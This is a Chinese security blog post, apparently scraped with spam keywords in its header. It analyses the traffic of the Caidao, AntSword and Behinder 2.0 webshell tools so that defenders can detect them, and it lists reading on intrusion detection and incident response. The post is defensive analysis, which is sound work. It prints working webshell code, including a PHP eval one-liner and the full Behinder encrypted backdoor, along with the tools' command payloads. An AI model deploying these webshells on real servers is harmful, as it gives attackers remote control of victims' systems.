日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)入侵检测、应急响应资料整理

發(fā)布時(shí)間:2023/12/10 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)入侵检测、应急响应资料整理 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

本文將會(huì)從攻防的角度分析常用 webshell 管理工具(菜刀、蟻劍、冰蝎2.0,冰蝎3.0、哥斯拉將在下篇介紹)的流量特點(diǎn),后半部分會(huì)整理一些有關(guān) webshell 入侵檢測(cè)和應(yīng)急響應(yīng)的文章

文章目錄

  • Webshell 管理工具流量分析
    • 菜刀&Cknife
    • 蟻劍
      • 默認(rèn)編碼器
      • Base64編碼器
      • RSA模塊
    • 冰蝎
      • 2.0流量
      • 3.0流量
      • 參考鏈接
  • 資料整理
    • 入侵檢測(cè)
    • 應(yīng)急響應(yīng)

Webshell 管理工具流量分析

菜刀&Cknife

先從最簡(jiǎn)單的開(kāi)始吧,菜刀也算是比較早的 webshell 管理工具了,加密方式比較簡(jiǎn)單,這里分析 2016 版的菜刀

下載地址:https://github.com/raddyfiy/caidao-official-version

下載之后就直接被 360 查殺了,本地環(huán)境就是 PHP 直接在網(wǎng)站目錄里放了個(gè)一句話,為了減少不必要的流量在 kali 虛擬機(jī)中進(jìn)行操作

如果 kali 沒(méi)有開(kāi)啟服務(wù),可以使用以下命令

root@kali:~# service apache2 start

在 /var/www/html 下放置 shell.php

<?php @eval($_REQUEST['shell']);?>

驗(yàn)證成功

首先用 wireshark 開(kāi)啟監(jiān)聽(tīng),然后使用菜刀連接

圖中為菜刀連接時(shí)產(chǎn)生的流量

首先,菜刀會(huì)偽造 X-Forwarded-For 頭,且每一次利用菜刀與webshell建立連接,X-Forwarded-For 都會(huì)變化

將這段 post 請(qǐng)求先進(jìn)行 url 解碼

發(fā)現(xiàn)請(qǐng)求執(zhí)行了 base64_decode 函數(shù)對(duì) z0 進(jìn)行 base64 后,經(jīng)過(guò) eval 函數(shù)執(zhí)行命令,base64 解密 z0

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

這部分就是傳輸?shù)?payload,首先關(guān)閉報(bào)錯(cuò)和 magic_quotes,接下來(lái)去獲取主機(jī)的信息

這一段 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs 將其base64解碼,為@ini_set("display_errors","0");@set_time_limit(0); 流量特征明顯,可以用插件做混淆處理

Cknife

c刀是由java寫的客戶端,所以它的適用性比較強(qiáng),linux、windows平臺(tái)都可以用,cknife首先會(huì)查詢服務(wù)器版本信息,接下來(lái)才是查詢當(dāng)前目錄。由于cknife是基于菜刀改的,在流量上與菜刀是十分相似的,都包含@eval,以及base64編碼后的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs

蟻劍

使用蟻劍進(jìn)行連接時(shí)可以選擇編碼器

默認(rèn)編碼器

看流量可以發(fā)現(xiàn)如果用默認(rèn)的蟻劍測(cè)試,連接時(shí)會(huì)請(qǐng)求兩次(上圖為第一次http請(qǐng)求,右擊選擇追蹤 http 流),其請(qǐng)求體只是經(jīng)過(guò) url 編碼,其流量中也存在和蟻劍一樣的代碼

@ini_set("display_errors", "0");@set_time_limit(0);

這段代碼基本是所有 WebShell 客戶端鏈接 PHP 類 WebShell 都有的一種代碼

第二次 http 請(qǐng)求(下圖)會(huì)把目錄列出來(lái)

Base64編碼器

php 的編碼器文件在以下目錄

antSword-master\source\core\php\decoder

/*** php::base64編碼器* ? 利用php的base64_decode進(jìn)行編碼處理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一個(gè)隨機(jī)變量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}data[randomID] = Buffer.from(data['_']).toString('base64');data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;delete data['_'];return data; }

data[pwd], 此函數(shù)的作用是作為參數(shù)傳遞的,所以這里在流量當(dāng)中是明文傳輸

可以看到傳入的變量 shell 沒(méi)有被加密,軟容易被 waf 探測(cè)到,其他的編碼器也是類似的

RSA模塊

有一個(gè)RSA模塊,使用了RSA非對(duì)稱加密進(jìn)行傳輸,新建編碼器 -> RSA配置 -> 點(diǎn)擊生成公私鑰

然后將生成好的 shell 放到目標(biāo)機(jī)器點(diǎn)擊連接查看流量,可以直接使用公鑰進(jìn)行解密,但是這種需要目標(biāo)機(jī)器安裝 OpenSsh 擴(kuò)展庫(kù)才可以

使用設(shè)置好的編碼器連接,在流量中 ant 連接字符也沒(méi)有加密

其他大佬說(shuō)的并沒(méi)有遇到

冰蝎

冰蝎利用了服務(wù)器端的腳本語(yǔ)言加密功能,通訊的過(guò)程中,消息體內(nèi)容采用 AES 加密,基于特征值檢測(cè)的安全產(chǎn)品無(wú)法查出

項(xiàng)目地址:https://github.com/rebeyond/Behinder/releases

簡(jiǎn)單了解一下 AES 加密

高級(jí)加密標(biāo)準(zhǔn) (AES,Advanced Encryption Standard) 為最常見(jiàn)的對(duì)稱加密算法(微信小程序加密傳輸就是用這個(gè)加密算法的),對(duì)稱加密算法也就是加密和解密用相同的密鑰,具體的加密流程如下圖

冰蝎 2.0 加密原理圖如下(Shell 端為服務(wù)端):

使用

  • 首先上傳冰蝎專屬 webshell(在冰蝎的 server 目錄可以找到自帶 webshell)

    <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) {$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print $key; } else {$key=$_SESSION['k'];$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __construct($p) {eval($p."");}}@new C($params); } ?>
  • 攻擊者使用命令啟動(dòng)

    java -jar .\Behinder.jar # 雙擊不行就用命令

    連接 shell

    添加之后雙擊即可

  • 2.0流量

    webshell分析

    以 php 版本的 webshell 為例分析(就是剛剛上傳的webshell),查看冰蝎的 webshell 代碼,先會(huì)對(duì) Get 傳入的 pass 這個(gè)參數(shù)進(jìn)行檢查,如果存在的話會(huì)以時(shí)間的方式生成長(zhǎng)度 16 的隨機(jī) key,然后存入到 session 當(dāng)中,再往后判斷是否開(kāi)啟了 openssl 這個(gè)擴(kuò)展,開(kāi)啟的情況就會(huì)開(kāi)啟 AES 進(jìn)行解密,得到中間結(jié)果字符串 assert|eval("phpinfo();") 此數(shù)據(jù)是由冰蝎加載器發(fā)出的,已經(jīng)定義好的,服務(wù)端利用 explode 函數(shù)將拆分為一個(gè)字符串?dāng)?shù)據(jù),然后以可變函數(shù)方式調(diào)用索引為 0 的數(shù)組元素,參數(shù)為索引為 1 的數(shù)組元素,即為 assert("eval("phpinfo;")"),沒(méi)有開(kāi)啟的情況,進(jìn)行異或處理然后通過(guò) base64 加密

    這就是同時(shí)在早期有一定的免殺效果,但是這個(gè)函數(shù)現(xiàn)在已經(jīng)被標(biāo)注為危險(xiǎn)函數(shù)且被加入防火墻規(guī)則

    2.0 的分析文章:冰蝎,從入門到魔改

    使用 Wireshark 查看連接 webshell 的流量進(jìn)行分析,查看會(huì)發(fā)送倆次 Get 請(qǐng)求,分為倆次 Get 的握手請(qǐng)求,第一次請(qǐng)求服務(wù)端產(chǎn)生密鑰寫入session,session 和當(dāng)前會(huì)話綁定。不同的客戶端的密鑰也是不同的,第二次請(qǐng)求是為了獲取 key。此時(shí)的 99030fc0bb93de17就為解密代碼的 key

    post 的數(shù)據(jù)可以利用上面的 Key 進(jìn)行解密獲得代碼,可以自己寫代碼也可以使用在線網(wǎng)站進(jìn)行解密,在線網(wǎng)站只有在這個(gè)網(wǎng)站解密成功

    http://tools.bugscaner.com/cryptoaes/

    解密后的內(nèi)容會(huì)對(duì)代碼再次進(jìn)行了一次base64的解碼

    左邊是沒(méi)有開(kāi)啟OpenSsl擴(kuò)展的響應(yīng),右面是開(kāi)啟OpenSsl擴(kuò)展的,對(duì)響應(yīng)進(jìn)行AES的解密 (下圖2) ,base64解碼后的內(nèi)容:{"status":"success","msg":"1a6ed26a-009d-4127-a6fb-1fd4e90c84fa"}

    3.0流量

    下一篇分析

    冰蝎 Behinder 功能原理

    • 《利用動(dòng)態(tài)二進(jìn)制加密實(shí)現(xiàn)新型一句話木馬之客戶端篇》 https://xz.aliyun.com/t/2799
    • 《利用動(dòng)態(tài)二進(jìn)制加密實(shí)現(xiàn)新型一句話木馬之Java篇》 https://xz.aliyun.com/t/2744
    • 《利用動(dòng)態(tài)二進(jìn)制加密實(shí)現(xiàn)新型一句話木馬之.NET篇》 https://xz.aliyun.com/t/2758
    • 《利用動(dòng)態(tài)二進(jìn)制加密實(shí)現(xiàn)新型一句話木馬之PHP篇》 https://xz.aliyun.com/t/2774

    參考鏈接

    • 主流WebShell工具流量層分析
    • Webshell連接工具流量分析
    • 常見(jiàn)webshell管理工具流量特征值分析

    資料整理

    入侵檢測(cè)

    • Webshell入侵檢測(cè)初探
    • 企業(yè)安全建設(shè)之HIDS(一)
    • 企業(yè)安全建設(shè)之HIDS(二):入侵檢測(cè)&應(yīng)急響應(yīng)
    • 帶外通道技術(shù)(OOB)總結(jié)
    • 左右互搏術(shù)的自我修養(yǎng)
    • 入侵檢測(cè)技術(shù)建設(shè)及其在場(chǎng)景下的運(yùn)用
    • ATT&CK矩陣Linux系統(tǒng)安全實(shí)踐
    • Linux入侵檢測(cè)之文件監(jiān)控
    • 安全防御:Linux入侵檢測(cè)之文件監(jiān)控
    • Linux入侵檢測(cè)之syscall監(jiān)控

    以上這些文章建議順序?qū)W習(xí),由 pilgrim 發(fā)布于 Freebuf,大佬的文章很詳細(xì),無(wú)需多贅述

    應(yīng)急響應(yīng)

    • 奇安信安服團(tuán)隊(duì)出版的《網(wǎng)絡(luò)安全應(yīng)急響應(yīng)實(shí)戰(zhàn)指南》一書,微信讀書鏈接

      第1~3章為網(wǎng)絡(luò)安全應(yīng)急響應(yīng)工程師需要掌握的基礎(chǔ)理論、基礎(chǔ)技能和常用工具,第4~10章為當(dāng)前網(wǎng)絡(luò)安全應(yīng)急響應(yīng)常見(jiàn)的七大處置場(chǎng)景,分別是勒索病毒、挖礦木馬、Webshell、網(wǎng)頁(yè)篡改、DDoS攻擊、數(shù)據(jù)泄露和流量劫持網(wǎng)絡(luò)安全應(yīng)急響應(yīng)

    • Bypass007團(tuán)隊(duì)?wèi)?yīng)急響應(yīng)筆記

      GitHub 地址:https://github.com/Bypass007/Emergency-Response-Notes

      GitBook 地址:https://bypass007.github.io/Emergency-Response-Notes

      包括入侵排查、日志分析、權(quán)限維持、實(shí)戰(zhàn)部分等部分U

    總結(jié)

    以上是生活随笔為你收集整理的Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)入侵检测、应急响应资料整理的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。